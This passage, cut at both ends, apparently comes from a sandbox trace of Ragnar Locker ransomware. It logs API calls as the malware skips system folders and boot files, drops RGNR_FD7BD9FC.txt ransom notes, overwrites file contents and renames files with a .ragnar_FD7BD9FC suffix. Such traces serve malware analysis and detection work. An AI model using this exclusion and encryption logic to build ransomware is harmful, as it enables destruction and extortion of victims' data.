Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" [0074.723] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.723] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.724] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.724] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.724] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2=".") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="..") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Windows") returned -1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Windows.old") returned -1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Tor browser") returned -1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Internet Explorer") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Google") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Opera") returned -1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Opera Software") returned -1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Mozilla") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="Mozilla Firefox") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="$Recycle.Bin") returned 1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="ProgramData") returned -1 [0074.724] lstrcmpiW (lpString1="NETWORK", lpString2="All Users") returned 1 [0074.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.724] lstrcpyW (in: lpString1=0x1eb638, lpString2="NETWORK" | out: lpString1="NETWORK") returned="NETWORK" [0074.724] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\" [0074.724] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\" [0074.724] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\RGNR_FD7BD9FC.txt" [0074.724] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*" [0074.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.727] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.727] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec81880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.727] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.727] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec81880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.727] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.727] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.727] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2=".") returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="..") returned 1 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.INF", lpString2=".") returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.INF", lpString2="..") returned 1 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.728] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.728] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ec81880, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.728] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.728] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.728] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.728] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.728] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec81880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ec81880, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ec81880, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0074.728] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.728] lstrcpyW (in: lpString1=0x1eab70, lpString2="NETWORK.ELM" | out: lpString1="NETWORK.ELM") returned="NETWORK.ELM" [0074.728] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM") returned=".ELM" [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="autorun.inf") returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="boot.ini") returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="bootfont.bin") returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="bootsect.bak") returned 1 [0074.728] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="bootmgr") returned 1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="bootmgr.efi") returned 1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="bootmgfw.efi") returned 1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="desktop.ini") returned 1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="iconcache.db") returned 1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="ntldr") returned -1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="ntuser.dat") returned -1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="ntuser.dat.log") returned -1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="ntuser.ini") returned -1 [0074.729] lstrcmpiW (lpString1="NETWORK.ELM", lpString2="thumbs.db") returned -1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.729] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm")) returned 0x20 [0074.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.729] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=50761) returned 1 [0074.729] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc640, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.729] GetProcessHeap () returned 0x580000 [0074.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.729] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.731] VirtualAlloc (lpAddress=0x0, dwSize=0xc649, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.731] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.731] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.731] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc649, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc649, lpOverlapped=0x0) returned 1 [0074.732] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.733] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc649, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.733] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc649, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc649, lpOverlapped=0x0) returned 1 [0074.733] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc649, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.733] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.734] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc649, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.734] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.734] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.734] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.734] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.734] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.734] GetProcessHeap () returned 0x580000 [0074.734] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.734] CloseHandle (hObject=0x10c) returned 1 [0074.734] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" [0074.734] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.ragnar_FD7BD9FC" [0074.734] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.737] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0074.737] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.737] lstrcpyW (in: lpString1=0x1eab70, lpString2="NETWORK.INF" | out: lpString1="NETWORK.INF") returned="NETWORK.INF" [0074.737] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF") returned=".INF" [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="autorun.inf") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="boot.ini") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="bootfont.bin") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="bootsect.bak") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="bootmgr") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="bootmgr.efi") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="bootmgfw.efi") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="desktop.ini") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="iconcache.db") returned 1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="ntldr") returned -1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="ntuser.dat") returned -1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="ntuser.dat.log") returned -1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="ntuser.ini") returned -1 [0074.737] lstrcmpiW (lpString1="NETWORK.INF", lpString2="thumbs.db") returned -1 [0074.737] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.737] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.737] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.737] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.737] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.737] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.738] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf")) returned 0x20 [0074.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0074.738] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=585) returned 1 [0074.738] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.738] GetProcessHeap () returned 0x580000 [0074.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.739] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.739] VirtualAlloc (lpAddress=0x0, dwSize=0x249, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.739] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.740] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.740] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x249, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x249, lpOverlapped=0x0) returned 